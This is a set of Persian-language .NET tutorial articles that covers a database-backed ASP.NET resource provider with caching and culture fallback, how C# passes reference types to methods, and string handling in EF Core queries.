ستون Name برای ذخیره نام منبع درنظر گرفته شده است. این نام برابر نام منابع درخواستی در سیستم مدیریت منابع ASP.NET است که درواقع برابر همان نام فایل منبع اما بدون پسوند resx. است.

ستون Key برای نگهداری کلید ورودی منبع استفاده می‌شود که دقیقا برابر همان مقداری است که درون فایلهای resx. ذخیره می‌شود. 

ستون Culture برای ذخیره کالچر ورودی منبع به کار می‌رود. این مقدار می‌تواند برای کالچر پیش‌فرض برنامه برابر رشته خالی باشد. 

ستون Value نیز برای نگهداری مقدار ورودی منبع استفاده می‌شود. 

برای ستون Id می‌توان از GUID نیز استفاده کرد. در اینجا برای راحتی کار از نوع داده bigint و خاصیت Identity برای تولید خودکار آن در Sql Server استفاده شده است.

نکته: برای امنیت بیشتر می‌توان یک Unique Constraint بر روی سه فیلد Name و Key و Culture اعمال کرد.

برای نمونه به تصویر زیر که ذخیره تعدای ورودی منبع را درون جدول Resources نمایش می‌دهد دقت کنید:

 

اصلاح کلاس DbResourceProviderFactory

برای ذخیره منابع محلی، جهت اطمینان از یکسان بودن نام منبع، متد مربوطه در کلاس DbResourceProviderFactory باید به‌صورت زیر تغییر کند:

public override IResourceProvider CreateLocalResourceProvider(string virtualPath)
{
  if (!string.IsNullOrEmpty(virtualPath))
  {
    virtualPath = virtualPath.Remove(0, virtualPath.IndexOf('/') + 1); // removes everything from start to the first '/'
  }
  return new LocalDbResourceProvider(virtualPath);
}
با این تغییر مسیرهای درخواستی چون "Default.aspx/~" و یا "Default.aspx/" هر دو به صورت "Default.aspx" در می‌آیند تا با نام ذخیره شده در دیتابیس یکسان شوند.
 

ارتباط با دیتابیس

خوشبختانه برای تبادل اطلاعات با جدول بالا امروزه راه‌های زیادی وجود دارد. برای پیاده‌سازی آن مثلا می‌توان از یک اینترفیس استفاده کرد. سپس با استفاده از سازوکارهای موجود مثلا به‌کارگیری IoC، نمونه مناسبی از پیاده‌سازی اینترفیس مذبور را در اختیار برنامه قرار داد.
اما برای جلوگیری از پیچیدگی بیش از حد و دور شدن از مبحث اصلی، برای پیاده‌سازی فعلی از EF Code First به صورت مستقیم در پروژه استفاده شده است که سری آموزشی کاملی از آن در همین سایت وجود دارد.

پس از پیاده‌سازی کلاس‌های مرتبط برای استفاده از EF Code First، از کلاس ResourceData که در بخش اول نیز نشان داده شده بود، برای کپسوله کردن ارتباط با داده‌ها استفاده می‌شود که نمونه‌ای ابتدایی از آن در زیر آورده شده است:

using System.Collections.Generic;
using System.Linq;
using DbResourceProvider.Models;

namespace DbResourceProvider.Data
{
  public class ResourceData
  {
    private readonly string _resourceName;
    public ResourceData(string resourceName)
    {
      _resourceName = resourceName;
    }
    public Resource GetResource(string resourceKey, string culture)
    {
      using (var data = new TestContext())
      {
        return data.Resources.SingleOrDefault(r => r.Name == _resourceName && r.Key == resourceKey && r.Culture == culture);
      }
    }
    public List<Resource> GetResources(string culture)
    {
      using (var data = new TestContext())
      {
        return data.Resources.Where(r => r.Name == _resourceName && r.Culture == culture).ToList();
      }
    }
  }
}
کلاس فوق نسبت به نمونه‌ای که در قسمت قبل نشان داده شد کمی فرق دارد. بدین صورت که برای راحتی بیشتر نام منبع درخواستی به جای پارامتر متدها، در اینجا به عنوان پارامتر کانستراکتور وارد می‌شود.

نکته: درصورتی‌که این کلاس‌ها در پروژه‌ای جداگانه قرار دارند، باید ConnectionString مربوطه در فایل کانفیگ برنامه مقصد نیز تنظیم شود.

کش کردن ورودی‌ها
برای کش کردن ورودی‌ها این نکته را که قبلا هم به آن اشاره شده بود باید درنظر داشت:
پس از اولین درخواست برای هر منبع، نمونه تولیدشده از پرووایدر مربوطه در حافظه سرور کش خواهد شد.
یعنی متدهای کلاس DbResourceProviderFactory به‌ازای هر منبع تنها یکبار فراخوانی می‌شود. نمونه‌های کش‌شده از پروایدرهای کلی و محلی به همراه تمام محتویاتشان (مثلا نمونه تولیدی از کلاس DbResourceManager) تا زمان Unload شدن سایت در حافظه سرور باقی می‌مانند. بنابراین عملیات کشینگ ورودی‌ها را می‌توان درون خود کلاس DbResourceManager به ازای هر منبع انجام داد.
برای کش کردن ورودی‌های هر منبع می‌توان چند روش را درپیش گرفت. روش اول این است که به ازای هر کلید درخواستی تنها ورودی مربوطه از دیتابیس فراخوانی شده و در برنامه کش شود. این روش برای حالاتی که تعداد ورودی‌ها یا تعداد درخواست‌های کلیدهای هر منبع کم باشد مناسب خواهد بود.
یکی از پیاده‌سازی این روش این است که ورودی‌ها به ازای هر کالچر ذخیره شوند. پیاده‌سازی اولیه این نوع فرایند کشینگ در کلاس DbResourceManager به صورت زیر است:
using System.Collections.Generic;
using System.Globalization;
using DbResourceProvider.Data;
namespace DbResourceProvider
{
  public class DbResourceManager
  {
    private readonly string _resourceName;
    private readonly Dictionary<string, Dictionary<string, object>> _resourceCacheByCulture;
    public DbResourceManager(string resourceName)
    {
      _resourceName = resourceName;
      _resourceCacheByCulture = new Dictionary<string, Dictionary<string, object>>();
    }
    public object GetObject(string resourceKey, CultureInfo culture)
    {
      return GetCachedObject(resourceKey, culture.Name);
    }
    private object GetCachedObject(string resourceKey, string cultureName)
    {
      if (!_resourceCacheByCulture.ContainsKey(cultureName))
        _resourceCacheByCulture.Add(cultureName, new Dictionary<string, object>());
      var cachedResource = _resourceCacheByCulture[cultureName];
      lock (this)
      {
        if (!cachedResource.ContainsKey(resourceKey))
        {
          var data = new ResourceData(_resourceName);
          var dbResource = data.GetResource(resourceKey, cultureName);
          if (dbResource == null) return null;
          var cachedResources = _resourceCacheByCulture[cultureName];
          cachedResources.Add(dbResource.Key, dbResource.Value);
        }
      }
      return cachedResource[resourceKey];
    }
  }
}
همانطور که قبلا توضیح داده شد کشِ پرووایدرهای منابع به ازای هر منبع درخواستی (و به تبع آن نمونه‌های موجود در آن مثل DbResourceManager) برعهده خود ASP.NET است. بنابراین برای کش کردن ورودی‌های درخواستی هر منبع در کلاس DbResourceManager تنها کافی است آن‌ها را درون یک متغیر محلی در سطح کلاس (فیلد) ذخیره کرد. کاری که در کد بالا در متغیر resourceCacheByCulture_ انجام شده است. در این متغیر که از نوع دیکشنری تعریف شده است کلیدهای هر عضو آن برابر نام کالچر مربوطه است. مقادیر هر عضو این دیکشنری نیز خود یک دیکشنری است که ورودی‌های منابع مربوط به کالچر مربوطه در آن ذخیره می‌شوند.
عملیات در متد GetCachedObject انجام می‌شود. همان‌طور که می‌بینید ابتدا وجود ورودی موردنظر در متغیر کشینگ بررسی می‌شود و درصورت عدم وجود، مقدار آن مستقیما از دیتابیس درخواست می‌شود. سپس این مقدار درخواستی ابتدا درون متغیر کشینگ ذخیره شده (به همراه بلاک lock) و درنهایت برگشت داده می‌شود.

نکته: کل فرایند بررسی وجود کلید در متغیر کشینگ (شرط دوم در متد GetCachedObject) درون بلاک lock قرار داده شده است تا در درخواست‌های همزمان احتمال افزودن چندباره یک کلید ازبین برود.

پیاده‌سازی دیگر این فرایند کشینگ، ذخیره ورودی‌ها براساس نام کلید به جای نام کالچر است. یعنی کلید دیکشنری اصلی نام کلید و کلید دیکشنری داخلی نام کالچر است که این روش زیاد جالب نیست.
روش دوم که بیشتر برای برنامه‌های بزرگ با ورودی‌ها و درخواست‌های زیاد به‌کار می‌رود این است که درهر بار درخواست به دیتابیس به جای دریافت تنها همان ورودی درخواستی، تمام ورودی‌های منبع و کالچر درخواستی استخراج شده و کش می‌شود تا تعداد درخواست‌های به سمت دیتابیس کاهش یابد. برای پیاده‌سازی این روش کافی است تغییرات زیر در متد GetCachedObject اعمال شود:
private object GetCachedObject(string resourceKey, string cultureName)
{
  lock (this)
  {
    if (!_resourceCacheByCulture.ContainsKey(cultureName))
    {
      _resourceCacheByCulture.Add(cultureName, new Dictionary<string, object>());
      var cachedResources = _resourceCacheByCulture[cultureName];
      var data = new ResourceData(_resourceName);
      var dbResources = data.GetResources(cultureName);
      foreach (var dbResource in dbResources)
      {
        cachedResources.Add(dbResource.Key, dbResource.Value);
      }
    }
  }
  var cachedResource = _resourceCacheByCulture[cultureName];
  return !cachedResource.ContainsKey(resourceKey) ? null : cachedResource[resourceKey];
}
دراینجا هم می‌توان به جای استفاده از نام کالچر برای کلید دیکشنری اصلی از نام کلید ورودی منبع استفاده کرد که چندان توصیه نمی‌شود.

نکته: انتخاب یکی از دو روش فوق برای فرایند کشینگ کاملا به شرایط موجود و سلیقه برنامه نویس بستگی دارد.

فرایند Fallback
درباره فرایند fallback به اندازه کافی در قسمت‌های قبلی توضیح داده شده است. برای پیاده‌سازی این فرایند ابتدا باید به نوعی به سلسله مراتب کالچرهای موجود از کالچر جاری تا کالچر اصلی و پیش فرض سیستم دسترسی پیدا کرد. برای اینکار ابتدا باید با استفاده از روشی کالچر والد یک کالچر را بدست آورد. کالچر والد کالچری است که عمومیت بیشتری نسبت به کالچر موردنظر دارد. مثلا کالچر fa، کالچر والد fa-IR است. همچنین کالچر Invariant به عنوان والد تمام کالچرها شناخته می‌شود.
خوشبختانه در کلاس CultureInfo (که در قسمت‌های قبلی شرح داده شده است) یک پراپرتی با عنوان Parent وجود دارد که کالچر والد را برمی‌گرداند.
برای رسیدن به سلسله مراتب مذبور در کلاس ResourceManager دات نت، از کلاسی با عنوان ResourceFallbackManager استفاده می‌شود. هرچند این کلاس با سطح دسترسی internal تعریف شده است اما نام‌گذاری نامناسبی دارد زیرا کاری که می‌کند به عنوان Manager هیچ ربطی ندارد. این کلاس با استفاده از یک کالچر ورودی، یک enumerator از سلسله مراتب کالچرها که در بالا صحبت شد تهیه می‌کند.
با استفاده پیاده‌سازی موجود در کلاس ResourceFallbackManager کلاسی با عنوان CultureFallbackProvider تهیه کردم که به صورت زیر است:
using System.Collections;
using System.Collections.Generic;
using System.Globalization;
namespace DbResourceProvider
{
  public class CultureFallbackProvider : IEnumerable<CultureInfo>
  {
    private readonly CultureInfo _startingCulture;
    private readonly CultureInfo _neutralCulture;
    private readonly bool _tryParentCulture;
    public CultureFallbackProvider(CultureInfo startingCulture = null, 
                                   CultureInfo neutralCulture = null, 
                                   bool tryParentCulture = true)
    {
      _startingCulture = startingCulture ?? CultureInfo.CurrentUICulture;
      _neutralCulture = neutralCulture;
      _tryParentCulture = tryParentCulture;
    }
    #region Implementation of IEnumerable<CultureInfo>
    public IEnumerator<CultureInfo> GetEnumerator()
    {
      var reachedNeutralCulture = false;
      var currentCulture = _startingCulture;
      do
      {
        if (_neutralCulture != null && currentCulture.Name == _neutralCulture.Name)
        {
          yield return CultureInfo.InvariantCulture;
          reachedNeutralCulture = true;
          break;
        }
        yield return currentCulture;
        currentCulture = currentCulture.Parent;
      } while (_tryParentCulture && !HasInvariantCultureName(currentCulture));
      if (!_tryParentCulture || HasInvariantCultureName(_startingCulture) || reachedNeutralCulture)
        yield break;
      yield return CultureInfo.InvariantCulture;
    }
    #endregion
    #region Implementation of IEnumerable
    IEnumerator IEnumerable.GetEnumerator()
    {
      return GetEnumerator();
    }
    #endregion
    private bool HasInvariantCultureName(CultureInfo culture)
    {
      return culture.Name == CultureInfo.InvariantCulture.Name;
    }
  }
}
این کلاس که اینترفیس <IEnumerable<CultureInfo را پیاده‎سازی کرده است، سه پارامتر کانستراکتور دارد.
اولین پارامتر، کالچر جاری یا آغازین را مشخص می‌کند. این کالچری است که تولید enumerator مربوطه از آن آغاز می‌شود. درصورتی‌که این پارامتر نال باشد مقدار کالچر UI در ثرد جاری برای آن درنظر گرفته می‌شود. مقدار پیش‌فرضی که برای این پارامتر درنظر گرفته شده است، null است.
پارامتر بعدی کالچر خنثی موردنظر کاربر است. این کالچری است که درصورت رسیدن enumerator به آن کار پایان خواهد یافت. درواقع کالچر پایانی enumerator است. این پارامتر می‌تواند نال باشد. مقدار پیش‌فرضی که برای این پارامتر درنظر گرفته شده است، null است.
پارمتر آخر هم تعیین می‌کند که آیا enumerator از کالچرهای والد استفاده بکند یا خیر. مقدار پیش‌فرضی که برای این پارامتر درنظر گرفته شده است، true است. 
کار اصلی کلاس فوق در متد GetEnumerator انجام می‌شود. در این کلاس یک حلقه do-while وجود دارد که enumerator را با استفاده از کلمه کلیدی yield تولید می‌کند. در این متد ابتدا درصورت نال نبودن کالچر خنثی ورودی، بررسی می‌شود که آیا نام کالچر جاری حلقه (که در متغیر محلی currentCulture ذخیره شده است) برابر نام کالچر خنثی است یا خیر. درصورت برقراری شرط، کار این حلقه با برگشت CultureInfo.InvariantCulture پایان می‌‌یابد. InvariantCulture کالچر بدون زبان و فرهنگ و موقعیت مکانی است که درواقع به عنوان کالچر والد تمام کالچرها درنظر گرفته می‌شود. پراپرتی Name این کالچر برابر string.Empty است.
کار حلقه با برگشت مقدار کالچر جاری enumerator ادامه می‌یابد. سپس کالچر جاری با کالچر والدش مقداردهی می‌شود. شرط قسمت while حلقه تعیین می‌کند که درصورتی‌که کلاس برای استفاده از کالچرهای والد تنظیم شده باشد، تا زمانی که نام کالچر جاری برابر نام کالچر Invariant نباشد، تولید اعضای enumerator ادامه یابد.
درانتها نیز درصورتی‌که با شرایط موجود، قبلا کالچر Invariant برگشت داده نشده باشد این کالچر نیز yield می‌شود. درواقع درصورتی‌که استفاده از کالچرهای والد اجازه داده نشده باشد یا کالچر آغازین برابر کالچر Invariant باشد و یا قبلا به دلیل رسیدن به کالچر خنثی ورودی، مقدار کالچر Invariant برگشت داده شده باشد، enumerator قطع شده و عملیات پایان می‌یابد. در غیر اینصورت کالچر Invariant به عنوان کالچر پایانی برگشت داده می‌شود.
 
استفاده از CultureFallbackProvider
با استفاده از کلاس CultureFallbackProvider می‌توان عملیات جستجوی ورودی‌های درخواستی را با ترتیبی مناسب بین تمام کالچرهای موجود به انجام رسانید.
برای استفاده از این کلاس باید تغییراتی در متد GetObject کلاس DbResourceManager به صورت زیر اعمال کرد:
public object GetObject(string resourceKey, CultureInfo culture)
{
  foreach (var currentCulture in new CultureFallbackProvider(culture))
  {
    var value = GetCachedObject(resourceKey, currentCulture.Name);
    if (value != null) return value;
  }
  throw new KeyNotFoundException("The specified 'resourceKey' not found.");
}
با استفاده از یک حلقه foreach درون enumerator کلاس CultureFallbackProvider، کالچرهای موردنیاز برای fallback یافته می‌شوند. در اینجا از مقادیر پیش‌فرض دو پارامتر دیگر کانستراکتور کلاس CultureFallbackProvider استفاده شده است.
سپس به ازای هر کالچر یافته شده مقدار ورودی درخواستی بدست آمده و درصورتی‌که نال نباشد (یعنی ورودی موردنظر برای کالچر جاری یافته شود) آن مقدار برگشت داده می‌شود و درصورتی‌که نال باشد عملیات برای کالچر بعدی ادامه می‌یابد.
درصورتی‌که ورودی درخواستی یافته نشود (خروج از حلقه بدون برگشت مقداری برای ورودی منبع درخواستی) استثنای KeyNotFoundException صادر می‌شود تا کاربر را از اشتباه رخداده مطلع سازد.

آزمایش پرووایدر سفارشی

ابتدا تنظیمات موردنیاز فایل کانفیگ را که در قسمت قبل نشان داده شد، در برنامه خود اعمال کنید.

داده‌های نمونه نشان داده شده در ابتدای این مطلب را درنظر بگیرید. حال اگر در یک برنامه وب اپلیکیشن، صفحه Default.aspx در ریشه سایت حاوی دو کنترل زیر باشد:

<asp:Label ID="Label1" runat="server" meta:resourcekey="Label1" />
<asp:Label ID="Label2" runat="server" meta:resourcekey="Label2" />
خروجی برای کالچر "en-US" (معمولا پیش‌فرض، اگر تنظیمات سیستم عامل تغییر نکرده باشد) چیزی شبیه تصویر زیر خواهد بود:

سپس تغییر زیر را در فایل web.config اعمال کنید تا کالچر UI سایت به fa تغییر یابد (به بخش "uiCulture="fa دقت کنید):

<globalization uiCulture="fa" resourceProviderFactoryType = "DbResourceProvider.DbResourceProviderFactory, DbResourceProvider" />
بنابراین صفحه Default.aspx با همان داده‌های نشان داده شده در بالا به صورت زیر تغییر خواهد کرد:

می‌بینید که با توجه به عدم وجود مقداری برای Label2.Text برای کالچر fa، عملیات fallback اتفاق افتاده است.

بحث و نتیجه‎‌گیری

کار تولید یک پرووایدر منابع سفارشی دیتابیسی به اتمام رسید. تا اینجا اصول کلی تولید یک پرووایدر سفارشی شرح داده شد. بدین ترتیب می‌توان برای هر حالت خاص دیگری نیز پرووایدرهای سفارشی مخصوص ساخت تا مدیریت منابع به آسانی تحت کنترل برنامه نویس قرار گیرد.

اما نکته‌ای را که باید به آن توجه کنید این است که در پیاده‌سازی‌های نشان داده شده با توجه به نحوه کش‌شدن مقادیر ورودی‌ها، اگر این مقادیر در دیتابیس تغییر کنند، تا زمانیکه سایت ریست نشود این تغییرات در برنامه اعمال نخواهد شد. زیرا همانطور که اشاره شد، مدیریت نمونه‌های تولیدشده از پرووایدرهای منابع برای هر منبع درخواستی درنهایت برعهده ASP.NET است. بنابراین باید مکانیزمی پیاده شود تا کلاس DbResourceManager از به‌روزرسانی ورودی‌های کش‌شده اطلاع یابد تا آنها را ریفرش کند.

در ادامه درباره روش‌های مختلف نحوه پیاده‌سازی قابلیت به‌روزرسانی ورودی‌های منابع در زمان اجرا با استفاده از پرووایدرهای منابع سفارشی بحث خواهد شد. همچنین راه‌حل‌های مختلف استفاده از این پرووایدرهای سفارشی در جاهای مختلف پروژه‌های MVC شرح داده می‌شود.

البته مباحث پیشرفته‌تری چون تزریق وابستگی برای پیاده‌سازی لایه ارتباط با دیتابیس در بیرون و یا تولید یک Factory برای تزریق کامل پرووایدر منابع از بیرون نیز جای بحث و بررسی دارد.

منابع

http://weblogs.asp.net/thangchung/archive/2010/06/25/extending-resource-provider-for-soring-resources-in-the-database.aspx

http://msdn.microsoft.com/en-us/library/aa905797.aspx

http://msdn.microsoft.com/en-us/library/system.web.compilation.resourceproviderfactory.aspx

http://www.dotnetframework.org/default.aspx/.../ResourceFallbackManager@cs

http://www.codeproject.com/Articles/14190/ASP-NET-2-0-Custom-SQL-Server-ResourceProvider

http://www.west-wind.com/presentations/wwdbresourceprovider

مطالب
رفرنس تایپ‌ها چگونه به ورودی متدها ارسال می‌شوند
اگر شما یک تایپ از نوع reference type را در ورودی یک متد قرار دهید و در داخل متد، پراپرتی‌های این تایپ را ویرایش کنید، بعد از آنکه از متد خارج می‌شود، تغییرات خود را مشاهده خواهید کرد. به طور مثال کد زیر را در نظر بگیرید که در داخل متد EditUserName، مقدار پراپرتی Name را تغییر داده‌ایم:
public class User
{
    public string Name { get; set; }
}
class Program
{
    static void Main(string[] args)
    {
        User user = new User
        {
            Name = "Farhad"
        };
        EditUserName(user);
        Console.WriteLine(user.Name);
        //Print Zamani in  console 
    }
    public static void EditUserName(User userCopy)
    {
        userCopy.Name = "Zamani";
    }
}
اگر کد بالا را اجرا کنید، مقدار "Zamani" را در صفحه کنسول مشاهده میکنید.
 اگر یک متغیر از نوع Value type مانند int را به ورودی متدی ارسال کنید و آن را در داخل متد تغییر دهید، تغییرات خود را بعد از آنکه از متد خارج میشود، مشاهده نمیکنید.
اما اگر در داخل متد (EditUserName) بالا که کلاس User را پاس داده‌ایم، مقدار پارامتر userCopy را برابر null کنیم چه اتفاقی میافتد؟ (خودم اول فکر کردم بعد از اینکه از متد EditUserName خارج میشه و میخواد user.Name رو چاپ کنه، Null reference exception رخ میده؛ ولی نه).
اگر تغییرات زیر را اعمال کنیم و مجددا برنامه را اجرا کنیم، همان نتیجه‌ی قبلی را مشاهده میکنیم:
static void Main(string[] args)
{
    User user = new User
    {
        Name = "Farhad"
    };
    EditUserName(user);
    Console.WriteLine(user.Name);
    //Print Zamani in console
}
public static void EditUserName(User userCopy)
{
    userCopy.Name = "Zamani";
    userCopy = null;
}
اگرچه نوع userCopy از نوع reference type میباشد، اما بعد از آنکه از متد خارج میشود، مقدار قبلی خود را دارد، چرا؟ 
زیرا زمانیکه شما مقدار user را به متد EditUserName پاس میدهید، یک کپی از آبجکت user به متد ارسال میشود، یعنی یک کپی از متغیر user ایجاد میشود و به ورودی متد ارسال میشود (خود متغیر user ارسال نمیشود) . بر این اساس میتوان گفت که user و userCopy هر دو به یک مکان از حافظه اشاره دارند که userCopy به متد EditUserName ارسال شده است.

 و زمانی که مقدار userCopy را برابر null میکنید، رفرنسی که به آن اشاره دارد، از بین میرود.

به همین دلیل اگر در داخل متد، پارامتری که از نوع reference type است را برابر null کنید و یا new کنید، بعد از آنکه از متد خارج شود، تغییرات را مشاهده نمی‌کنید. همین عمل برای نمونه سازی داخل متد نیز صدق میکند.
 برای مثال در کد زیر در داخل متد EditUserName، پارامتر userCopy را new میکنیم و سپس مقدار نام آن را تغییر میدهیم و بعد از آنکه از متد خارج میشود، همان مقداری را نشان میدهد که قبل از new شدن اعمال شده بود.
static void Main(string[] args)
{
    User user = new User
    {
        Name = "Farhad"
    };
    EditUserName(user);
    Console.WriteLine(user.Name);
    //Print Zamani in console
}
public static void EditUserName(User userCopy)
{
    userCopy.Name = "Zamani";
    userCopy = new User();
    userCopy.Name = "Farhad";
}
اگر کد بالا را اجرا کنید مجددا "Zamani" را در صفحه کنسول مشاهده میکنید؛ زیرا زمانیکه userCopy را new میکنید، رفرنسی که userCopy به آن اشاره دارد، تغییر میکند و به مکانی دیگر از حافظه اشاره میکند و تغییرات بر روی user که در متد Main قرار دارد اعمال نمیشود. 
در متغیر از نوع رفرنس، آدرس آبجکت اصلی کپی می‌شود و در واقع پارامتر، یک متغیر جدید است که آدرس ابجکت اصلی را دارد؛ بنابراین هنگامیکه به اعضای آبجکت دسترسی صورت گیرد، از طریق آدرس، به همان عضو آبجکت اصلی اشاره شده و درنتیجه تغییر، ماندگار می‌ماند. اما هنگامیکه خود پارامتر کلاس مقدار دهی شود، یک فضای جدید در حافظه ایجاد شده و آدرس آن در محتوای پارامتر کپی می‌شود. اینگونه پس از پایان متد، تغییر پایا نبوده، چرا که آدرس پارامتر، با آبجکت اصلی متفاوت خواهد بود. 
مطالب
کوئری نویسی در EF Core - قسمت هفتم - کار با رشته‌‌ها
هدف از این سری مثال‌ها، آشنایی با متدها و توابعی است که در حین کار با خواص رشته‌ای در LINQ to Entities، مجاز به استفاده‌ی از آن‌ها هستیم و همچنین اگر تابعی در EF-Core هنوز تعریف نشده بود، راه حل چیست.


مثال 1: نام تمام کاربران را با قالب 'Surname, Firstname'  نمایش دهید.

var members = context.Members
                                    .Select(member => new { Name = member.Surname + ", " + member.FirstName })
                                    .ToList();
متد Select می‌تواند به همراه اعمال محاسباتی ساده‌ای نیز باشد که نمونه‌ای از آن‌را در اینجا مشاهده می‌کنید.
با این خروجی:



مثال 2: تمام امکاناتی را که با Tennis شروع می‌شوند، لیست کنید.
این گزارش به همراه تمام ستون‌های جدول است.

var facilities = context.Facilities
                                        .Where(facility => facility.Name.StartsWith("Tennis"))
                                        .ToList();
متدهای استانداردی مانند StartsWith، EndsWith و Contains را می‌توان بر روی خواص رشته‌ای بکار برد.
با این خروجی:



مثال 3: تمام امکاناتی را که با tennis شروع می‌شوند، لیست کنید. این جستجو باید غیرحساس به بزرگی و کوچکی حروف باشد.
این گزارش به همراه تمام ستون‌های جدول است.

نیازی به انجام مجزای این تمرین نیست؛ چون پاسخ آن همان پاسخ مثال 2 است. Collation پیش‌فرض در SQL Server، غیرحساس به بزرگی و کوچکی حروف است. بنابراین چه tennis را جستجو کنیم و یا TeNnis را، تفاوتی نمی‌کند.


مثال 4: شماره تلفن‌های دارای پرانتز را لیست کنید.
این گزارش باید به همراه ستون‌های memid, telephone باشد.

روش اول: در اینجا دوبار از متد Contains استفاده شده‌است:
var members = context.Members
                                    .Select(member => new { member.MemId, member.Telephone })
                                    .Where(member => member.Telephone.Contains("(")
                                                    && member.Telephone.Contains(")"))
                                    .ToList();
با این خروجی:


روش دوم: اگر می‌خواهیم کنترل بیشتری را بر روی خروجی نهایی LIKE تولیدی داشته باشیم، می‌توان از متد سفارشی استاندارد EF.Functions.Like استفاده کرد که از حروف wild cards نیز پشتیبانی می‌کند:
members = context.Members
                                    .Select(member => new { member.MemId, member.Telephone })
                                    .Where(member => EF.Functions.Like(member.Telephone, "%[()]%"))
                                    .ToList();
با این خروجی:



مثال 5: کد پستی‌ها 5 رقمی هستند. گزارشی را تهیه کنید که در آن اگر کدپستی کمتر از 5 رقم بود، ابتدای آن با صفر شروع شود.
هدف اصلی از این مثال، اعمال متد PadLeft(5, '0') به خاصیت member.ZipCode است.

روش اول: EF-Core فعلا قابلیت ترجمه‌ی PadLeft(5, '0') را به معادل SQL آن‌را ندارد. به همین جهت مجبور هستیم ابتدا ZipCode‌ها را به صورت رشته‌ای بازگشت دهیم که در اینجا استفاده‌ی از Convert.ToString مجاز است.
با این خروجی:
SELECT   CONVERT (NVARCHAR (MAX), [m].[ZipCode]) AS [Zip]
FROM     [Members] AS [m]
ORDER BY CONVERT (NVARCHAR (MAX), [m].[ZipCode]);
 سپس می‌توان بر روی لیست آماده‌ی موجود در حافظه، از LINQ to Objects استفاده کرد و در این حالت دسترسی کاملی به تمام امکانات زبان #C وجود دارد:
var members = context.Members
                                    .Select(member => new { ZipCode = Convert.ToString(member.ZipCode) })
                                    .OrderBy(m => m.ZipCode)
                                    .ToList();
// Now using LINQ to Objects
members = members.Select(member => new { ZipCode = member.ZipCode.PadLeft(5, '0') })
                                                    .OrderBy(m => m.ZipCode)
                                                    .ToList();

روش دوم: SQL Server به همراه تابع استانداردی به نام Replicate است که از آن می‌توان برای شبیه سازی PadLeft، بدون متوسل شدن به LINQ to Objects، استفاده کرد. اما چون این تابع هنوز به EF-Core معرفی نشده‌است، نیاز است خودمان اینکار را انجام دهیم. در این روش، از متد SqlDbFunctionsExtensions.SqlReplicate استفاده می‌شود. روش تعریف این نوع متدها را در مطلب «امکان تعریف توابع خاص بانک‌های اطلاعاتی در EF Core» پیشتر بررسی کرده‌ایم که برای مثال در اینجا چنین شکلی را پیدا می‌کند:
namespace EFCorePgExercises.Utils
{
    public static class SqlDbFunctionsExtensions
    {
        public static string SqlReplicate(string expression, int count)
            => throw new InvalidOperationException($"{nameof(SqlReplicate)} method cannot be called from the client side.");

        private static readonly MethodInfo _sqlReplicateMethodInfo = typeof(SqlDbFunctionsExtensions)
            .GetRuntimeMethod(
                nameof(SqlDbFunctionsExtensions.SqlReplicate),
                new[] { typeof(string), typeof(int) }
            );


        public static void AddCustomSqlFunctions(this ModelBuilder modelBuilder)
        {
            modelBuilder.HasDbFunction(_sqlReplicateMethodInfo)
                .HasTranslation(args =>
                {
                    return SqlFunctionExpression.Create("REPLICATE",
                        args,
                        _sqlReplicateMethodInfo.ReturnType,
                        typeMapping: null);
                });
        }
    }
}
پس از آن فقط کافی است متد AddCustomSqlFunctions را به Context برنامه معرفی کنیم:
namespace EFCorePgExercises.DataLayer
{
    public class ApplicationDbContext : DbContext
    {
         // ...

        protected override void OnModelCreating(ModelBuilder modelBuilder)
        {
         // ...
            modelBuilder.AddCustomSqlFunctions();
         // ...
        }
    }
}
اکنون می‌توان از تابع SqlDbFunctionsExtensions.SqlReplicate جهت شبیه سازی PadLeft به صورت زیر استفاده کرد:
var newMembers = context.Members
                                        .Select(member => new
                                        {
                                            ZipCode =
                                                SqlDbFunctionsExtensions.SqlReplicate(
                                                    "0", 5 - Convert.ToString(member.ZipCode).Length)
                                                + member.ZipCode
                                        })
                        .OrderBy(m => m.ZipCode)
                        .ToList();
با این خروجی:



مثال 6: اولین حرف نام خانوادگی کاربران در کل ردیف‌های جدول چندبار تکرار شده‌است؟
این گزارش باید به همراه ستون‌های letter,  count باشد.

var members = context.Members
                                    .Select(member => new { Letter = member.Surname.Substring(0, 1) })
                                    .GroupBy(m => m.Letter)
                                    .Select(g => new
                                    {
                                        Letter = g.Key,
                                        Count = g.Count()
                                    })
                                    .OrderBy(r => r.Letter)
                                    .ToList();
هدف از این مثال بیان مجاز بودن استفاده‌ی از متد Substring بر روی خواص رشته‌ای است که EF-Core امکان ترجمه‌ی آن‌ها را به کدهای SQL دارد.
با این خروجی:



مثال 7: حروف '-','(',')', ' ' را از شماره تلفن‌ها حذف کنید.
این گزارش باید به همراه ستون‌های memid, telephone باشد.

بانک اطلاعاتی PostgreSQL به همراه تابع استاندارد regexp_replace است و می‌توان از آن برای حل یک چنین مسایلی استفاده کرد:
select memid, regexp_replace(telephone, '[^0-9]', '', 'g') as telephone
from members
order by memid;
اما SQL Server هنوز هم به همراه یک چنین تابعی نیست. بنابراین از روش زیر نیز می‌توان مثال جاری را حل کرد:
var members = context.Members
                                .Select(member => new
                                {
                                    member.MemId,
                                    Telephone = member.Telephone.Replace("-", "")
                                                        .Replace("(", "")
                                                        .Replace(")", "")
                                                        .Replace(" ", "")
                                })
                                .OrderBy(r => r.MemId)
                                .ToList();
با این خروجی:



کدهای کامل این قسمت را در اینجا می‌توانید مشاهده کنید.